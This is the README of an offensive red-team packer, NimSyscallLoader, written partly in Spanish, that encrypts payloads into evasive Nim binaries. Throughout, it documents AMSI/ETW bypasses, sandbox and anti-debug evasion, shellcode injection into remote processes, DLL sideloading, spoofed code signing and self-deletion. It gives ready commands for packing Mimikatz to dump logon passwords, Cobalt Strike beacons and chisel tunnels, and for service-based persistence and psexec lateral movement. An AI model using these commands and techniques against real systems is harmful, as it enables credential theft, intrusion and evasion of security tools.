s3cur3th1ssh1t/nimsyscallpackerEmpaqueta ensamblados de C#, archivos PE o shellcode en binarios de Nim cifrados con funciones avanzadas de evasión, incluyendo bypass de AMSI/ETW, detección de sandbox y múltiples técnicas de inyección para operaciones de red team.
Esta herramienta se hizo pública tras una charla en x33fcon. Fue mi proyecto principal de codificación privado de 2021 a 2024 y ahora se considera obsoleto y ya no se mantiene. No esperes correcciones de errores ni nuevas funciones aquí por mi parte. En su lugar, RustPack se mantiene ahora como una versión comercial y controlada para Red Teams y Pentesters verificados, que tiene aún más funciones, pero también es mucho más seguro en términos de OPSec.
Este packer se puede usar para empaquetar cualquier ensamblado de C#, archivo PE o shellcode en un binario de Nim. Cifrará el payload objetivo, generará el código fuente de Nim correspondiente según los argumentos proporcionados y lo compilará en un binario de Nim.
Un video, si lo prefieres, se puede encontrar aquí: https://youtu.be/0PwIn3Nxmgo
Git debe estar instalado para que Nim/Nimble funcione correctamente.
Probado con Nim 2.2.10 y el paquete de MinGW-w64 GCC 11.1.0 enlazado desde la página de descarga de Windows de Nim. Las versiones más recientes de Nim usan por defecto una base de imagen PE alta en Windows, lo que rompe los enlaces -static con relocation truncated to fit: R_X86_64_32S against .bss; el packer ahora fuerza -Wl,--image-base=0x10000 para mantener las compilaciones estáticas funcionando, por lo que cualquier compilación MinGW-w64 11.x debería ser correcta. Aquí solo se admite x64 — x86/--x86/--wow64 no se mantiene.
nim-2.2.10_x64.zipmingw64.7z (enlazado desde la página de instalación de Nim para Windows)Expand-Archive integrado de Windows; elimina silenciosamente lib\system.nim debido a la colisión de mayúsculas/minúsculas con el directorio lib\system\). El zip de Nim incluye bin\7zG.exe, que puedes usar para extraer MinGW.<nim>\bin y <mingw64>\bin a tu %PATH%. Cierra sesión/vuelve a iniciarla (o reinicia tu shell) para que el cambio surta efecto.Versiones conocidas que funcionan (a partir de Nim 2.2.10): nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — el repositorio no tiene versiones etiquetadas).
Si quieres usar el ofuscador de LLVM en Windows, usa la versión modificada de denim incluida desde denim. Instálala mediante denim\denim.exe setup.
P. ej. en Kali / Debian. El empaquetador históricamente requería nim 1.6.8 + mingw-64 8.0.0-1; con el workaround de enlace estático --image-base=0x10000 ahora integrado, las cadenas de herramientas más nuevas deberían funcionar también. La compilación de Windows es la que se prueba activamente — Linux es de mejor esfuerzo.```bash
apt-get install nim mingw-w64
nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
Si `--hellsgate` falla al ensamblar en un mingw-w64 más nuevo, degrada a `mingw-64=8.0.0-1`.
Instala donut mediante `pip3 install donut-shellcode`. `denim` no puede usarse desde Unix, por lo que la ofuscación mediante LLVM no es posible aquí. Lo mismo para Callobfuscator.
Compila el Packer mediante `nim c -d:noRES NimSyscallLoader.nim`. Listo para usar. Si no usas -d:noRES, podrías obtener el siguiente error:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.
Debe compilarse una vez (la primera vez lleva algo de tiempo, las compilaciones posteriores se almacenarán en caché).
sudo docker build . -t nimsyscallloader
Luego ejecute el packer con:
sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe
donde $(pwd) es el directorio del sistema host que se comparte con el contenedor, es decir, el directorio donde deben estar los archivos a cifrar y donde se guardará la salida.
Si quieres hacer uso de certificados de firma de código a través de LimeLighter, también necesitarás tener instaladas las siguientes cosas y en tu %PATH%: openssl - (para Windows) por ejemplo desde aquí osslsigncode - por ejemplo desde aquí
No daré soporte para problemas en las herramientas de terceros que se utilizan aquí. Por favor, abre un issue en los repositorios correspondientes si tienes problemas con ellas. Herramientas de terceros en uso:
Puedes usar mis binarios precompilados o, por supuesto, compilarlos tú mismo desde los enlaces anteriores.
Un video - si lo prefieres - se puede encontrar aquí: https://youtu.be/UHaIgdzqHDA
También añadí videos cortos para algunas funciones, ya que fue solicitado:
Caro-Kann:
Función ThreadlessInject:
Función Module Stomping:
Función shellcodeURL:
Función stegoFile:
Función shellcodeFile:
Ruy Lopez para procesos locales
Formato de salida de shellcode
Función de salida en ensamblador
Y hice un video público mostrando cómo personalizar la técnica ThreadlessInject para otros procesos distintos del predeterminado:
https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2
Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version
Options:
[general]
-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded
[Payload retrieval options]
By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from
[DLL options]
--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable
[evasion]
--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)
[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]
--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique
[shellcode specific]
--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.
[PE Packing]
--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE
[C# assembly Packing]
--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace
Por defecto, el Packer utiliza funcionalidades de evasión de SandBox y AntiDebug para cada Payload. Si no quieres que estén habilitadas (p. ej. para eliminar sus IoCs) o por cualquier otra razón, puedes usar los flags `--noAntidebug` o `--noDefaultSandBox`. Cualquier otra comprobación de SandBox de las opciones se añadirá además de las existentes y no como reemplazo.
Todos los Payloads se ejecutan por defecto en una región de memoria `RX`. Algunos Payloads no funcionarán solo con `READ_EXECUTE`. Para usar `RWX` en su lugar, puedes habilitarlo con el flag `--RWX`.
Además, por defecto, los Payloads se incrustan en el binario resultante como un array cifrado. Esto conlleva una alta entropía y también puede provocar detecciones por parte de algunos proveedores de AV/EDR. Recomiendo utilizar en su lugar `--shellcodeFile` o `--shellcodeURL` para recuperar el Payload desde un archivo diferente o un servidor web en tiempo de ejecución. Esto también conlleva evasión de SandBox como efecto secundario. Por ejemplo, al usar:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
Si no tienes` prisa, también puedo recomendar usar las opciones `--sleep numberOfSeconds` y/o `--sleep-in-between numberOfSeconds` para cualquier Payload, ya que eso conllevará a bypasses de escaneo de memoria y/o detección basada en comportamiento.
Para empaquetar Mimikatz, por ejemplo, con unhooking antes de la ejecución y sin bypasear AMSI, utiliza lo siguiente:```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject
Algunos de vosotros tuvisteis problemas al cargar Mimikatz con el packer mediante los argumentos --file=Mimikatz --peload para después emitir comandos personalizados en tiempo de ejecución.
Encontré la razón de este comportamiento. No me preguntéis por qué, pero no podéis simplemente coger el release de Github, sino que tenéis que compilar Mimikatz vosotros mismos (o crear una versión personalizada) y cargar esta en lugar del release oficial. También usad --noAntidebug para Mimikatz, ya que si no, tiene resultados extraños (no me preguntéis por qué, otros PE se cargan bien).
Si aún queréis incrustar la versión release de github, podéis pasar argumentos directamente así:```batch Packedmimikatz.exe coffee exit
También puedes codificar argumentos para payloads `--peload`, `--csharp` o `--peinject`, p. ej. lo siguiente parchearía los argumentos de la línea de comandos para que sean `privilege::debug sekurlsa::logonpasswords exit`:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug
El shellcode de Donut es detectado por algunos proveedores de AV/EDR. Como alternativa para PE-Loading, modifiqué mi Nim-RunPE para usar syscalls para PE-Loading y lo integré aquí:
Para empaquetar Mimikatz, por ejemplo, y cargarlo mediante el PE-Loader basado en syscalls, usa lo siguiente:```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)
Para empaquetar Shellcode para inyección local:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI
Para cargar shellcode en un proceso remoto:```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe
Para cargar un ensamblado de C#:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp
Para cargar un ensamblado de C# con argumentos:```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'
Para cargar un ensamblado C# y usar hellsgate para la recuperación de Syscall :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate
Para empaquetar Shellcode para inyección local + uso de hellsgate + auto-eliminación + comprobaciones de sandbox:```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace
Para añadir varios miles de palabras inglesas para evadir las detecciones de "Machine learning":```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words
Para usar Syswhispers3 con/sin la técnica jumper_randomized:```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump
Para codificar shellcode con sgn antes de cifrar:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn
Para crear un proceso personalizado e inyectar en él después + Parchear AMSI/ETW en el proceso remoto:```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW
Para generar un DLL como salida en lugar de un ejecutable, simplemente añade el parámetro `--dll`. También puedes definir funciones de exportación personalizadas mediante `--dllexportfunc Export1,ExportFunc2`. Estos exports personalizados también pueden usarse para DLL sideloading.
Descripción de LLVM robada de [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) — ¡todavía no lo he probado yo mismo!
**OPCIONAL:** Para usar la opción de [Obfuscator-LLVM](https://github.com/heroims/obfuscator), debes tenerlo instalado en tu sistema junto con [wclang](https://github.com/tpoechtrager/wclang). He encontrado que esto es un poco tedioso, pero deberías poder hacerlo con un poco de perseverancia. Aquí tienes un paso a paso rápido que funcionó en mi sistema Kali Linux:
1. Clona la versión deseada de Obfuscator-LLVM y constrúyela
2. Una vez compilada, haz una copia de seguridad de la versión existente de clang y mueve la nueva versión de Obfuscator-LLVM de clang a /usr/bin/
3. Instala wclang y añade sus binarios a tu PATH
4. Haz una copia de seguridad de los archivos de biblioteca de clang existentes, copia los includes de biblioteca de Obfuscator-LLVM recién construidos a /usr/lib/clang/OLD_VERSION/
Además, debes añadir las siguientes líneas a tu archivo `nim.cfg` para apuntar nim a tus binarios de wclang:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"
Los binarios de servicio no se ejecutan sobre la marcha. Solo pueden utilizarse para Servicios de Windows. Así que si estás compilando un binario de servicio con --service, tendrás que crear un nuevo servicio con la ubicación de esos binarios. Esto se puede hacer, por ejemplo, de la siguiente manera:```batch
sc.exe create Updater binpath="C:\windows\system32\service.exe"
sc.exe start Updater
Los binarios de Packer también se pueden utilizar para el Movimiento Lateral de impacket-psexec:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement
Los DLL de servicio necesitan configuraciones adicionales. Puedes leer el siguiente blog y necesitas algunos cambios en el Registro:```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f
In addition the `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` value needs to be adjusted to also contain your Service name.
If you're receiving ERROR 1053 on Service start you will most likely have forgotten the last entry.
### Handling Golang binaries with the Packer
My custom `Nim-RUNPE` implementatation unfortunately cannot handle GoLang binaries at the moment. That's some strange bug within Nim, have to investigate deeper sometime. Definitely a rabbit whole, already spent a lot of time.
For for the moment as workaround you can use `--peinject --large` to generate shellcode out of the golang binary to execute that either locally as executable or DLL.
Example:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe
or
NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll
Tú have to pasar argumentos codificados cuando uses una DLL, porque las DLL de PEInject no aceptan argumentos del host de destino. La inyección remota también es posible, pero los argumentos no se pueden codificar aquí.
Defender detecta los binarios empaquetados de Golang por el momento, casi seguro debido a la entropía MUY alta (payloads grandes, por lo que el binario contiene un 95% o más de contenido cifrado). Para evitar estas detecciones, usa una DLL o --pump con cualquier valor.
Puedes generar payloads capaces de DLL-Sideloading con la bandera --clone DLLName.
Por ejemplo, lo siguiente generaría un version.dll con las exportaciones de API del version.dll original de Windows:```batch
NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll
Esto podría usarse para varios binarios legítimos firmados para Sideloading, como `OneDriveUpdater.exe`, `slllauncher.exe` y más. Algunos puntos son importantes a tener en cuenta y debes tener cuidado con ellos:
* Usar Shellcode con Exitfunction=Process muy probablemente provocará un fallo en el binario Host
* Usar inyección local hará que el binario no se inicie, ya que la DLL no terminará su ejecución para payloads de C2
* Actualmente hay un bug o problema con los payloads de C# y el Sideloading en Nim. Esos payloads simplemente no se ejecutan cuando se ejecutan localmente (`--csharp` o `--peinject`); hay que investigarlo
* No recomiendo usar payloads de Sideloading de DLL en Nim con Teams.exe: he tenido comportamientos extraños con ciertas DLLs y Teams no volvía a arrancar en muchos casos. Además, ya es detectado por muchos proveedores de EDR
* PRUEBA tus payloads antes de usarlos.
Tómate tu tiempo para buscar binarios de Sideloading personalizados o usa algunos de los conocidos documentados desde una ubicación como [https://hijacklibs.net/](https://hijacklibs.net/).
### Imágenes personalizadas o metadatos
Si quieres usar iconos personalizados para tus ejecutables loader o metadatos personalizados, debes cambiar el archivo `cmd.rc` en la carpeta resources.
Eso se puede compilar a un archivo `cmd.o` mediante `windres cmd.rc -o cmd.o`. También puedes simplemente reemplazar el archivo `demo.ico` con cualquier otro archivo ICON que quieras usar.
Para los metadatos de DLL puedes cambiar `DLL.rc`.
### Otras detecciones de entropía o evasión alternativa de SandBox
Algunos proveedores, como ESET, marcan binarios/DLLs debido a que el payload cifrado está en el binario como un blob con alta entropía. Este tipo de detecciones y/o comprobaciones de SandBox se pueden evadir con los flags `--shellcodeFile` o `--shellcodeURL`, ya que el payload ya no se incrusta en el binario resultante, sino que se carga desde un archivo aparte o desde un servidor web remoto.
### ThreadlessInject - cosas a tener en cuenta
Si quieres usar ThreadlessInject, debes saber lo que estás haciendo. Como engancha una API en el proceso remoto, esta técnica necesita ajustarse para cada proceso remoto diferente. Primero necesitas saber qué APIs suele llamar regularmente el proceso remoto para saber qué enganchar. Por ejemplo, puedes monitorizar esto para procesos comunes de Windows mediante [API Monitor](http://www.rohitab.com/apimonitor). Ajusta el hook a tu proceso objetivo, o el payload no se ejecutará.
Los valores predeterminados solo son útiles para el objetivo integrado spawn/inject `rundll32.exe`, ya que este proceso llama regularmente a `NtWaitForMultipleObjects` desde `ntdll.dll`. Otros procesos también llaman a esta función, pero la recomendación aquí es ajustar las opciones a tu proceso objetivo.
### Module Stomping - cosas a tener en cuenta
Module stomping nos da la ventaja de no tener que asignar memoria para la inyección de shellcode, ya que sobrescribimos (una parte de) la sección `.text` de una DLL ya cargada. Si la DLL no estaba cargada ya en el proceso remoto objetivo, se forzará su carga primero creando un hilo remoto en `LoadLibrary` o, cuando se usa ThreadlessInject, mediante un hook que apunta a un LoadLibrary-Shellcode personalizado. Por defecto, se usa la DLL `chakra.dll` para el stomping, que en la mayoría de los casos es adecuada por su tamaño. Sin embargo, puedes cambiar la DLL mediante los parámetros del Packer como quieras.
Para evitar CFG, la implementación actual sobrescribe uno (o con Caro-Kann habilitado, dos) entrypoints de la DLL:
- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`
Si cambias la DLL, también tendrás que cambiar los nombres de las funciones objetivo, ya que puede que no existan en otras DLL. Además, podría ser un problema si no hay:
1. suficiente espacio en la sección `.text` de la DLL objetivo para tu Shellcode
2. suficiente espacio entre las dos funciones en la sección `.text`, de modo que la primera sea sobrescrita por la segunda
Mi código no maneja estas situaciones y actualmente no las comprueba. Así que deberías verificar los tamaños y offsets antes de usarlo en producción para estar seguro.
Además, puede que sea obvio para algunos, pero los servidores usan DLLs diferentes a las de los clientes. Por lo tanto, el Loader/Herramienta debe ajustarse cuando se apunta a Servidores.
Esta implementación de Module Stomping **no** carga la DLL mediante `LoadLibraryEx` con `DONT_RESOLVE_DLL_REFERENCES`. Esta es la forma más inestable de hacerlo, pero aun así la implementé así para eliminar detecciones de EDR por IoCs específicos de este uso de la API.
Para más información, lee esta entrada de blog:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)
### Cifrado de memoria
Actualmente, el Packer tiene dos técnicas de cifrado de memoria integradas. Son `--fluctuate` para ShellcodeFluctuation o `--sleepycrypt` para SleepyCrypt.
ShellcodeFluctuation actualmente solo se puede usar para payloads de C2 que usan Win32 Sleep, ya que engancha esta función. En este caso, solo el Shellcode se cifrará en la pila cada vez que el implant duerma.
SleepyCrypt no solo cifrará el Shellcode, sino toda la pila del PE, es decir, todas sus secciones. La desventaja es que el cifrado es independiente de tu implant y se realizará en un valor de tiempo fijo, p. ej., 10 segundos de cifrado y un segundo de tiempo de ejecución. Esto puede provocar problemas de ejecución en algunos frameworks de C2.
### ¿Por qué mi MSF, CobaltStrike o XxX sigue siendo detectado?
Lee esto:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)
## Errores conocidos
- Usar `--hellsgate` en sistemas Linux con una versión reciente de mingw-gcc fallará al compilar
- Compila el Packer en Linux/Debian con `-d:noRES` para evitar errores del compilador
- `--syswhispers --jump` en combinación con `--peload` provoca un fallo. Por el momento solo puedo recomendar no usar esta opción, ya que no tengo idea de dónde viene este efecto secundario
- `--obfuscate` no maneja bien los stubs de ASM y, por lo tanto, no puede compilar binarios con `--hellsgate` o `--syswhispers`
- XP/WS2k3 solo funcionará con los flags `--syswhispers --noAntidebug --noDInvoke`
- `--x86` / `--wow64` ya no recibe mantenimiento y actualmente está roto con el toolchain MinGW-w64 incluido (no multilib). Usa builds x64.
- Los linkers más nuevos de MinGW-w64 (11+) usan por defecto una imagen base de PE alta, lo que rompe los enlaces `-static` con `relocation truncated to fit: R_X86_64_32S against .bss`. El packer ahora pasa `-Wl,--image-base=0x10000` al comando de compilación del Loader generado para solucionar esto. Si compilas binarios Nim+static independientes con este stack, puedes necesitar el mismo flag.
## POR HACER
- [x] PELoader mediante syscalls
- [x] Soporte Hellsgate
- [X] Cargar solo las librerías Winim necesarias
- [x] Parcheo AMSI/ETW en procesos remotos basado en [SnD_AMSI](https://github.com/whydee86/SnD_AMSI)
- [X] Usar syscalls para el parcheo remoto
- [X] Cargar remotamente la DLL "a parchear" (ntdll o amsi.dll) en el proceso remoto antes de parchear (de lo contrario no nos servirá)
- [x] Soporte Hellsgate para inyección remota de shellcode + PELoading
- [X] Salida DLL
- [X] Capacidades de Sideloading de DLL
- [X] Salida PowerShell
- [X] Salida C#
- [X] Más syscalls y/o D/Invoke para funciones win32
- [X] Integración con Cobalt Strike - CNA
- [ ] Pasar parámetros mediante, p. ej., manipulación del campo PEB (como Command line spoofing)
